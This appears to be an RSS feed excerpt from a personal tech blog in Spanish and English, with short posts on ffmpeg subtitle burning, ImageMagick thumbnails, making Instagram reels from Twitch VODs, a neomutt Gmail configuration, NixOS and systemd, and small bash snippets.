</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Quemando subtítulos..."</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"========================================"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Escapar ruta del SRT para ffmpeg</span>
</span></span><span style="display:flex;"><span> ESCAPED_SRT<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$ADJUSTED_SRT<span style="color:#e6db74">"</span> | sed <span style="color:#e6db74">'s/\\/\\\\/g; s/:/\\:/g; s/'</span><span style="color:#ae81ff">\'</span><span style="color:#e6db74">'/'</span><span style="color:#ae81ff">\'\\\\\\\'\'</span><span style="color:#e6db74">'/g'</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> ffmpeg -y -i <span style="color:#e6db74">"</span>$TEMP_OUTPUT<span style="color:#e6db74">"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -vf <span style="color:#e6db74">"subtitles='</span>$ESCAPED_SRT<span style="color:#e6db74">':force_style='FontName=Arial,FontSize=11,Bold=1,PrimaryColour=&H00FFFFFF,OutlineColour=&H00000000,BackColour=&H99000000,BorderStyle=4,Outline=1,Shadow=0,MarginV=50,Alignment=2'"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:v libx264 -preset medium -crf <span style="color:#ae81ff">18</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:a copy <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -movflags +faststart <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <span style="color:#e6db74">"</span>$OUTPUT_VIDEO<span style="color:#e6db74">"</span> 2>&<span style="color:#ae81ff">1</span> | grep -E <span style="color:#e6db74">"(time=|Duration|error|Error)"</span> | tail -5 <span style="color:#f92672">||</span> true
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Sin subtítulos, solo mover el archivo</span>
</span></span><span style="display:flex;"><span> mv <span style="color:#e6db74">"</span>$TEMP_OUTPUT<span style="color:#e6db74">"</span> <span style="color:#e6db74">"</span>$OUTPUT_VIDEO<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> -f <span style="color:#e6db74">"</span>$OUTPUT_VIDEO<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"✓✓✓ VIDEO COMPLETADO ✓✓✓"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"========================================"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Archivo: </span>$OUTPUT_VIDEO<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> TOTAL_DURATION<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>ffprobe -v error -show_entries format<span style="color:#f92672">=</span>duration -of default<span style="color:#f92672">=</span>noprint_wrappers<span style="color:#f92672">=</span>1:nokey<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#e6db74">"</span>$OUTPUT_VIDEO<span style="color:#e6db74">"</span> 2>/dev/null | cut -d<span style="color:#e6db74">'.'</span> -f1<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span> -n <span style="color:#e6db74">"</span>$TOTAL_DURATION<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> echo <span style="color:#e6db74">"Duración total: </span><span style="color:#e6db74">${</span>TOTAL_DURATION<span style="color:#e6db74">}</span><span style="color:#e6db74">s"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> FILE_SIZE<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>du -h <span style="color:#e6db74">"</span>$OUTPUT_VIDEO<span style="color:#e6db74">"</span> | cut -f1<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Tamaño: </span>$FILE_SIZE<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> $USE_SUBTITLES -eq <span style="color:#ae81ff">1</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"✓ Subtítulos quemados en el video"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"¿Eliminar archivos temporales? (S/n)"</span>
</span></span><span style="display:flex;"><span> read -t <span style="color:#ae81ff">5</span> -r response <span style="color:#f92672">||</span> response<span style="color:#f92672">=</span><span style="color:#e6db74">"s"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> <span style="color:#e6db74">"</span>$response<span style="color:#e6db74">"</span> !<span style="color:#f92672">=</span> <span style="color:#e6db74">"n"</span> <span style="color:#f92672">&&</span> <span style="color:#e6db74">"</span>$response<span style="color:#e6db74">"</span> !<span style="color:#f92672">=</span> <span style="color:#e6db74">"N"</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> rm -rf <span style="color:#e6db74">"</span>$TEMP_DIR<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"✓ Archivos temporales eliminados"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"→ Temporales en: </span>$TEMP_DIR<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span> -f <span style="color:#e6db74">"</span>$ADJUSTED_SRT<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> echo <span style="color:#e6db74">"→ SRT ajustado: </span>$ADJUSTED_SRT<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"✗ Error al crear video final"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"¡Listo para subir a las redes! 🚀🔥"</span>
</span></span></code></pre></div>
-
John McAfee
https://imlauera.github.io/john_mcafee/
Sat, 20 Dec 2025 23:05:04 -0300
https://imlauera.github.io/john_mcafee/
<p>Según John McAfee, en una entrevista en Reddit AMA, la industria del antivirus está “muerta y basada en una tecnología antigua que ya no es relevante. Los kits de hackers salen 10 veces más rápido. El AV es un sistema sin sentido.” Él mismo no usaba software antivirus porque lo consideraba inútil.</p>
<p>Sobre el software de su propia compañía, dijo: “Se ha convertido en la peor pieza de software en el planeta. No se puede desinstalar, escanea todo el tiempo, es lento como la mierda, los habría despedido, gracias a Dios que me liberé de la asociación con eso.”</p>
-
Thumbnail imagemagick
https://imlauera.github.io/thumbnail_imagemagick/
Sat, 20 Dec 2025 03:00:15 -0300
https://imlauera.github.io/thumbnail_imagemagick/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>¡Excelente idea! Te voy a mostrar cómo crear un thumbnail atractivo para YouTube usando solo herramientas de línea de comandos. Voy a darte ejemplos con **ImageMagick** <span style="color:#f92672">(</span>convert/magick<span style="color:#f92672">)</span> que es perfecto para esto.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">## Ejemplo 1: Thumbnail con múltiples imágenes y texto impactante</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">```</span>bash
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Crear un collage de 2x2 con tus imágenes</span>
</span></span><span style="display:flex;"><span>magick montage imagen1.jpg imagen2.jpg imagen3.jpg imagen4.jpg <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -tile 2x2 -geometry +5+5 -background black collage.jpg
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Añadir texto grande y llamativo</span>
</span></span><span style="display:flex;"><span>magick collage.jpg <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -gravity north -pointsize <span style="color:#ae81ff">80</span> -font Arial-Bold <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -stroke black -strokewidth <span style="color:#ae81ff">4</span> -fill yellow <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -annotate +0+50 <span style="color:#e6db74">"¡INCREÍBLE!"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -gravity south -pointsize <span style="color:#ae81ff">60</span> -font Arial-Bold <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -stroke white -strokewidth <span style="color:#ae81ff">3</span> -fill red <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -annotate +0+50 <span style="color:#e6db74">"NO VAS A CREER ESTO"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> thumbnail_final.jpg
</span></span></code></pre></div><h2 id="ejemplo-2-thumbnail-estilo-reacción-con-imagen-principal-y-texto">Ejemplo 2: Thumbnail estilo “reacción” con imagen principal y texto</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Redimensionar imagen principal a 1280x720 (tamaño YouTube)</span>
</span></span><span style="display:flex;"><span>magick imagen_principal.jpg -resize 1280x720^ -gravity center -extent 1280x720 base.jpg
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Añadir borde/viñeta dramático</span>
</span></span><span style="display:flex;"><span>magick base.jpg -vignette 0x20 base_vignette.jpg
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Añadir texto con sombra y efectos</span>
</span></span><span style="display:flex;"><span>magick base_vignette.jpg <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -gravity center -pointsize <span style="color:#ae81ff">100</span> -font Impact <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -stroke black -strokewidth <span style="color:#ae81ff">8</span> -fill white <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -annotate +0-150 <span style="color:#e6db74">"¿QUÉ PASÓ?"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -pointsize <span style="color:#ae81ff">70</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -stroke navy -strokewidth <span style="color:#ae81ff">5</span> -fill cyan <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -annotate +0+100 <span style="color:#e6db74">"😱 MIRA HASTA EL FINAL"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> thumbnail_youtube.jpg
</span></span></code></pre></div><h2 id="ejemplo-3-thumbnail-con-imagen-de-fondo-foto-pequeña-y-texto">Ejemplo 3: Thumbnail con imagen de fondo, foto pequeña y texto</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Crear fondo degradado</span>
</span></span><span style="display:flex;"><span>magick -size 1280x720 gradient:blue-purple fondo.jpg
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Añadir tu foto en una esquina (circular)</span>
</span></span><span style="display:flex;"><span>magick tu_foto.jpg -resize 300x300^ -gravity center -extent 300x300 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <span style="color:#ae81ff">\(</span> +clone -threshold -1 -negate -fill white -draw <span style="color:#e6db74">"circle 150,150 150,0"</span> <span style="color:#ae81ff">\)</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -alpha off -compose copy_opacity -composite foto_circular.png
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Combinar todo</span>
</span></span><span style="display:flex;"><span>magick fondo.jpg <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> foto_circular.png -geometry +950+50 -composite <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -gravity west -pointsize <span style="color:#ae81ff">90</span> -font Impact <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -stroke black -strokewidth <span style="color:#ae81ff">6</span> -fill yellow <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -annotate +50+0 <span style="color:#e6db74">"TOP 10\nMOMENTOS"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> thumbnail_completo.jpg
</span></span></code></pre></div><h2 id="ejemplo-4-estilo-antes-y-después">Ejemplo 4: Estilo “antes y después”</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Combinar dos imágenes lado a lado con flecha</span>
</span></span><span style="display:flex;"><span>magick <span style="color:#ae81ff">\(</span> antes.jpg -resize 600x720^ -extent 600x720 <span style="color:#ae81ff">\)</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <span style="color:#ae81ff">\(</span> despues.jpg -resize 600x720^ -extent 600x720 <span style="color:#ae81ff">\)</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> +append temporal.jpg
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Añadir flecha y textos</span>
</span></span><span style="display:flex;"><span>magick temporal.jpg <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -gravity northwest -pointsize <span style="color:#ae81ff">60</span> -fill white -stroke black -strokewidth <span style="color:#ae81ff">3</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -annotate +50+50 <span style="color:#e6db74">"ANTES"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -gravity northeast -pointsize <span style="color:#ae81ff">60</span> -fill lime -stroke black -strokewidth <span style="color:#ae81ff">3</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -annotate +50+50 <span style="color:#e6db74">"DESPUÉS"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -gravity center -pointsize <span style="color:#ae81ff">120</span> -fill red <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -annotate +0+0 <span style="color:#e6db74">"➜"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> antes_despues.jpg
</span></span></code></pre></div><h2 id="consejos-para-texto-llamativo">Consejos para texto llamativo:</h2>
<p><strong>Fuentes populares para thumbnails:</strong></p>
-
Instagram Shorts with FFMpeg
https://imlauera.github.io/viral_shorts_ffmpeg/
Sat, 20 Dec 2025 02:03:13 -0300
https://imlauera.github.io/viral_shorts_ffmpeg/
<h1 id="claude">Claude</h1>
<p>I’ll help you create a tool to detect potential viral moments from Twitch VODs and create Instagram reels with burned-in subtitles using FFmpeg!</p>
<p>Here’s a comprehensive approach:</p>
<h2 id="strategy-for-detecting-viral-moments">Strategy for Detecting Viral Moments</h2>
<p>Since FFmpeg alone can’t “detect” viral content (it needs AI/ML for that), I’ll show you how to:</p>
<ol>
<li><strong>Use FFmpeg’s scene detection</strong> to find interesting transitions/moments</li>
<li><strong>Detect audio peaks</strong> (loud reactions, excitement)</li>
<li><strong>Extract segments</strong> and add burned-in subtitles</li>
<li><strong>Format for Instagram Reels</strong> (9:16 aspect ratio, 15-90 seconds)</li>
</ol>
<h2 id="step-by-step-ffmpeg-commands">Step-by-Step FFmpeg Commands</h2>
<h3 id="1-detect-scene-changes--audio-peaks">1. Detect Scene Changes & Audio Peaks</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Detect scenes with significant changes</span>
</span></span><span style="display:flex;"><span>ffmpeg -i input.mp4 -filter_complex <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">"[0:v]select='gt(scene,0.4)',metadata=print:file=scenes.txt[out]"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>-map <span style="color:#e6db74">"[out]"</span> -f null -
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Detect audio peaks (loud moments)</span>
</span></span><span style="display:flex;"><span>ffmpeg -i input.mp4 -af <span style="color:#e6db74">"volumedetect"</span> -f null - 2>&<span style="color:#ae81ff">1</span> | grep <span style="color:#e6db74">"max_volume"</span>
</span></span></code></pre></div><h3 id="2-extract-specific-segment-eg-30-seconds-starting-at-523">2. Extract Specific Segment (e.g., 30 seconds starting at 5:23)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -ss 00:05:23 -i input.mp4 -t <span style="color:#ae81ff">30</span> -c copy segment.mp4
</span></span></code></pre></div><h3 id="3-generate-subtitles-youll-need-a-subtitle-file-first">3. Generate Subtitles (You’ll need a subtitle file first)</h3>
<p>For auto-subtitles, you’d need to use Whisper or similar tool first:</p>
-
NixOS Guix
https://imlauera.github.io/nixos_guix/
Thu, 18 Dec 2025 05:34:34 -0300
https://imlauera.github.io/nixos_guix/
<p>Yes — <strong>NixOS does use systemd</strong> by default.</p>
<h3 id="key-points">Key points</h3>
<ul>
<li><strong>Init system:</strong> systemd</li>
<li><strong>Service manager:</strong> systemd</li>
<li><strong>Targets / units:</strong> standard systemd units (services, timers, sockets, etc.)</li>
</ul>
<p>NixOS integrates systemd deeply, but configures it <strong>declaratively</strong> via Nix instead of imperative commands.</p>
<hr>
<h3 id="how-nixos-uses-systemd-whats-different">How NixOS uses systemd (what’s different)</h3>
<p>You <strong>don’t usually write unit files by hand</strong>. Instead, you define services in <code>configuration.nix</code>, and NixOS generates the systemd units for you.</p>
<p>Example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-nix" data-lang="nix"><span style="display:flex;"><span>services<span style="color:#f92672">.</span>nginx<span style="color:#f92672">.</span>enable <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
</span></span></code></pre></div><p>This automatically creates and manages:</p>
-
Ffmpeg auto edit
https://imlauera.github.io/ffmpeg_auto_edit/
Thu, 18 Dec 2025 03:16:36 -0300
https://imlauera.github.io/ffmpeg_auto_edit/
<p>You can do this <strong>entirely with FFmpeg</strong>, and it’s actually a very common workflow for creators who don’t want GUIs. I’ll break it into <strong>practical, repeatable steps</strong> and give you <strong>copy-paste commands</strong> you can adapt.</p>
<hr>
<h2 id="overall-workflow-cli-only">Overall Workflow (CLI-only)</h2>
<ol>
<li><strong>Download the Twitch VOD</strong></li>
<li><strong>Find highlight timestamps</strong></li>
<li><strong>Cut clips</strong></li>
<li><strong>Convert to vertical (9:16)</strong></li>
<li><strong>Add subtitles (optional but recommended)</strong></li>
<li><strong>Export platform-ready files</strong></li>
</ol>
<hr>
<h2 id="1-download-the-twitch-vod">1. Download the Twitch VOD</h2>
<p>Use <code>yt-dlp</code> (best tool for Twitch).</p>
-
Neomutt manual
https://imlauera.github.io/neomutt_manual/
Mon, 15 Dec 2025 21:20:04 -0300
https://imlauera.github.io/neomutt_manual/
<p>Perfect — <strong>neomutt + Gmail (app password) on Arch</strong> is a very solid setup. Below is a <strong>clean, modern neomutt config</strong> with Gmail-specific fixes.</p>
<hr>
<h2 id="1-create-a-gmail-app-password-if-not-already-done">1. Create a Gmail App Password (if not already done)</h2>
<p>Google Account → <strong>Security</strong> → <strong>2-Step Verification</strong> → <strong>App passwords</strong></p>
<ul>
<li>App: <strong>Mail</strong></li>
<li>Device: <strong>Other</strong></li>
<li>Copy the <strong>16-character password</strong></li>
</ul>
<hr>
<h2 id="2-install-neomutt-on-arch">2. Install neomutt on Arch</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S neomutt ca-certificates
</span></span></code></pre></div><p>(Optional but recommended later)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S pass gnupg
</span></span></code></pre></div><hr>
<h2 id="3-create-config-directory">3. Create config directory</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir -p ~/.config/neomutt
</span></span><span style="display:flex;"><span>chmod <span style="color:#ae81ff">700</span> ~/.config/neomutt
</span></span></code></pre></div><hr>
<h2 id="4-main-config-configneomuttneomuttrc">4. Main config: <code>~/.config/neomutt/neomuttrc</code></h2>
<pre tabindex="0"><code class="language-muttrc" data-lang="muttrc">############
# Identity #
############
set from = "[email protected]"
set realname = "Your Name"
########
# IMAP #
########
set imap_user = "[email protected]"
set imap_pass = "APP_PASSWORD"
set folder = "imaps://imap.gmail.com:993"
set spoolfile = "+INBOX"
########
# SMTP #
########
set smtp_url = "smtp://[email protected]@smtp.gmail.com:587/"
set smtp_pass = "APP_PASSWORD"
set smtp_authenticators = "login"
################
# Gmail Folders #
################
set record = "+[Gmail]/Sent Mail"
set postponed = "+[Gmail]/Drafts"
set trash = "+[Gmail]/Trash"
#################
# Gmail behavior #
#################
set move = no # Gmail uses labels
set imap_keepalive = 300
set imap_pipeline_depth = 1
set sleep_time = 0
#######
# TLS #
#######
set ssl_force_tls = yes
###################
# Neomutt niceties #
###################
set sidebar_visible = yes
set sidebar_width = 30
set sidebar_short_path = yes
bind index,pager \CP sidebar-prev
bind index,pager \CN sidebar-next
bind index,pager \CO sidebar-open
bind index,pager \CC sidebar-close
############
# Defaults #
############
set editor = "nvim"
set pager_index_lines = 10
set sort = threads
set strict_threads = yes
</code></pre><p>🔐 <strong>Protect credentials</strong></p>
-
Argumentos en bash
https://imlauera.github.io/argumentos/
Sat, 13 Dec 2025 21:19:02 -0300
https://imlauera.github.io/argumentos/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> $# -lt <span style="color:#ae81ff">2</span> <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Uso: </span>$0<span style="color:#e6db74"> <nombre-archivo> \"<titulo con espacios>\" <ruta del directorio de imagenes(opcional)> <tag_name_archive(opcional)> audio \"texto_entero para generar audio\""</span>
</span></span><span style="display:flex;"><span> exit;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span></code></pre></div>
-
Insertar video en HTML
https://imlauera.github.io/insert_video_html/
Sat, 13 Dec 2025 20:09:54 -0300
https://imlauera.github.io/insert_video_html/
<h4 id="video-subido-a--archiveorg">Video subido a Archive.org:</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#f92672">video</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">"640"</span> <span style="color:#a6e22e">height</span><span style="color:#f92672">=</span><span style="color:#e6db74">"480"</span> <span style="color:#a6e22e">controls</span>>
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">source</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">"path/to/video.mp4"</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"video/mp4"</span>>
</span></span><span style="display:flex;"><span> Your browser does not support the video tag.
</span></span><span style="display:flex;"><span></<span style="color:#f92672">video</span>>
</span></span></code></pre></div><h4 id="video-subido-a-youtube">Video subido a YouTube:</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#f92672">iframe</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">"560"</span> <span style="color:#a6e22e">height</span><span style="color:#f92672">=</span><span style="color:#e6db74">"315"</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">"https://www.youtube.com/embed/dQw4w9WgXcQ"</span> <span style="color:#a6e22e">title</span><span style="color:#f92672">=</span><span style="color:#e6db74">"YouTube video player"</span> <span style="color:#a6e22e">frameborder</span><span style="color:#f92672">=</span><span style="color:#e6db74">"0"</span> <span style="color:#a6e22e">allow</span><span style="color:#f92672">=</span><span style="color:#e6db74">"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"</span> <span style="color:#a6e22e">allowfullscreen</span>></<span style="color:#f92672">iframe</span>>
</span></span></code></pre></div>
-
Bash: How to remove file extension
https://imlauera.github.io/how_to_remove_file_extension/
Sat, 13 Dec 2025 19:25:40 -0300
https://imlauera.github.io/how_to_remove_file_extension/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>filename<span style="color:#f92672">=</span><span style="color:#e6db74">"example.txt"</span>
</span></span><span style="display:flex;"><span>filename_without_extension<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>filename%.*<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"</span>$filename_without_extension<span style="color:#e6db74">"</span>
</span></span></code></pre></div><p>Ejemplo de uso para formar urls de imagenes de Archive:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i in <span style="color:#66d9ef">$(</span>ls *.jpg<span style="color:#66d9ef">)</span>; <span style="color:#66d9ef">do</span> echo <span style="color:#e6db74">"<a href=\"https://archive.org/download/tag_name/</span>$i<span style="color:#e6db74">\"><img src=\"https://archive.org/download/tag_name/</span><span style="color:#e6db74">${</span>i%.*<span style="color:#e6db74">}</span><span style="color:#e6db74">_thumb.jpg\"></a>"</span>; <span style="color:#66d9ef">done</span>
</span></span></code></pre></div>
-
ttyrec
https://imlauera.github.io/ttyrec/
Sun, 07 Dec 2025 09:56:56 -0300
https://imlauera.github.io/ttyrec/
<p>To <strong>record ONLY the text that appears in the TTY</strong> (not a video, not pixels — just the characters printed to the terminal), the correct tools are:</p>
<hr>
<h1 id="-1-best-and-simplest">✅ <strong>1. Best and simplest: <code>ttyrec</code></strong></h1>
<p>This records <strong>everything printed to the TTY</strong> (including control sequences, colors).</p>
<h3 id="install">Install:</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S ttyrec
</span></span></code></pre></div><h3 id="record">Record:</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ttyrec mysession.tty
